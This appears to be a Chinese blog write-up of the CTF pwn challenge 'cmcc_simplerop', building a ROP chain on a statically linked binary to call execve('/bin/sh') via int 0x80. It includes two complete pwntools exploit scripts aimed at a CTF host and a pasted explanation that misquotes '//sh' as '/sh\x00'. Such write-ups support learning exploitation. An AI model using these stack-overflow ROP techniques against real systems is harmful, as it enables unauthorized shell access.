cmcc_simplerop(系统调用)

打开ida查看,可以看到是静态编译,所以无法常规用ret2libc
image
此时可以用最简单的方法系统调用
首先ida上面的偏移量是错误的,我们手动用gdb算一下距离ebp为0x1c
image
因为要实现execve("/bin/sh",0,0)
image
找int 0x80,eax,ebx,ecx,edx
image
image
因为程序里面没有binsh或sh,所以我们得手动把binsh输入进去,也就是再次调用read函数,read(标准读入0,填入binsh的地址,读入八个字节),binsh的地址我们填入.bss段里面随意一个空白地址
image
image
其中调用read函数的时候需要将read的参数从栈中弹出,这样才能继续执行后续gadget。read函数有三个参数,因此直接复用后面要使用的pop_edx_ecx_ebx_ret达到我们的目的。
image

而最后将sendline('/bin/sh\x00')放在payload之后输入是有效的。'/bin/sh\x00'的保存位置在我们设置的bss段中,即binsh_addr的地址,程序在将payload输入之后又向缓冲区中输入了'/bin/sh\x00'。前者保存在栈空间中(因为是sendline),后者保存在服务器的缓冲区中等待read函数的执行。

exp1
from pwn import *
io = remote('node5.buuoj.cn',27051)
pop_edx_ecx_ebx_ret=0x0806e850
#execve("/bin/sh",NULL,NULL)
int_0x80=0x080493e1
pop_eax_ret=0x080bae06
binsh_bss=0x080EAF80
read=0x0806CD50
payload=b'a'*(0x1c+4)+p32(read)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(binsh_bss)+p32(8)
payload+=p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh_bss)+p32(pop_eax_ret)+p32(11)+p32(int_0x80)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')#调用了read,记得手动输入binsh
io.interactive()

这里还可以用ROPgadget来自动生成shellcode,不过因为自动生成的有点长,需要我们改掉一些

exp2
from pwn import *
from struct import pack
io = remote('node5.buuoj.cn',27051)
# Padding goes here
p = b'a'*(0x1c+4)

p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
"""
p += pack('<I', 0x0806e82a) # pop edx ; ret
"""
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
"""
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
"""
p += p32(0x0)
p += p32(0x0)

p += pack('<I', 0x080ea060) # padding without overwrite ebx
"""
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
"""
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
io.sendline(p)
io.interactive()
> 好的,我将逐行解释这段代码的作用。这段代码是一个典型的 ROP(Return-Oriented Programming)链,用于在目标程序中构造一个 `/bin/sh` 字符串,并通过 `execve` 系统调用获取一个 shell。

代码逐行解释

1. 构造 /bin/sh 字符串

p += pack('<I', 0x0806e82a)  # pop edx ; ret
p += pack('<I', 0x080ea060)  # @ .data
p += pack('<I', 0x080bae06)  # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d)  # mov dword ptr [edx], eax ; ret
  • pop edx ; ret:从栈中弹出一个值到 edx 寄存器。这里弹出的值是 .data 段的地址(0x080ea060)。
  • pop eax ; ret:从栈中弹出一个值到 eax 寄存器。这里弹出的值是字符串 /bin 的 ASCII 码。
  • mov dword ptr [edx], eax ; ret:将 eax 的值(/bin)写入 edx 指向的地址(.data 段的起始位置)。

结果:在 .data 段的起始位置写入了 /bin


p += pack('<I', 0x0806e82a)  # pop edx ; ret
p += pack('<I', 0x080ea064)  # @ .data + 4
p += pack('<I', 0x080bae06)  # pop eax ; ret
p += '/sh\x00'
p += pack('<I', 0x0809a15d)  # mov dword ptr [edx], eax ; ret
  • pop edx ; ret:从栈中弹出一个值到 edx 寄存器。这里弹出的值是 .data + 4 的地址(0x080ea064)。
  • pop eax ; ret:从栈中弹出一个值到 eax 寄存器。这里弹出的值是字符串 /sh\x00 的 ASCII 码。
  • mov dword ptr [edx], eax ; ret:将 eax 的值(/sh\x00)写入 edx 指向的地址(.data + 4)。

结果:在 .data + 4 的位置写入了 /sh\x00

最终结果:在 .data 段构造了完整的字符串 /bin/sh\x00


2. 准备参数并调用 execve

p += pack('<I', 0x0806e850)  # pop edx ; pop ecx ; pop ebx ; ret
p += p32(0x0)
p += p32(0x0)
p += pack('<I', 0x080ea060)  # padding without overwrite ebx  @data
  • pop edx ; pop ecx ; pop ebx ; ret:从栈中弹出三个值,分别存入 edxecxebx 寄存器。
    • edx 被设置为 0NULL)。
    • ecx 被设置为 0NULL)。
    • ebx 被设置为 .data 段的地址(0x080ea060),指向 /bin/sh
  • padding0x080ea060.data 段的地址,用于填充,避免覆盖 ebx 的值。

p += pack('<I', 0x080bae06)  # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1)  # int 0x80
  • pop eax ; ret:从栈中弹出一个值到 eax 寄存器。这里弹出的值是 0xb,即 execve 系统调用的编号。
  • int 0x80:触发系统调用,执行 execve

系统调用参数

  • eax = 0xbexecve 系统调用编号)。
  • ebx = .data 段的地址(0x080ea060),指向 /bin/sh
  • ecx = NULLargv 参数)。
  • edx = NULLenvp 参数)。

最终结果:调用 execve("/bin/sh", NULL, NULL),从而获取一个 shell。


总结

这段代码通过 ROP 构造了一个 /bin/sh 字符串,并准备了 execve 系统调用的参数,最终触发系统调用以获取 shell。每一步都利用了目标程序中的 gadgets 和 .data 段来完成任务。

posted @   fdddddd  阅读(2)  评论(0编辑  收藏  举报
(评论功能已被禁用)
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示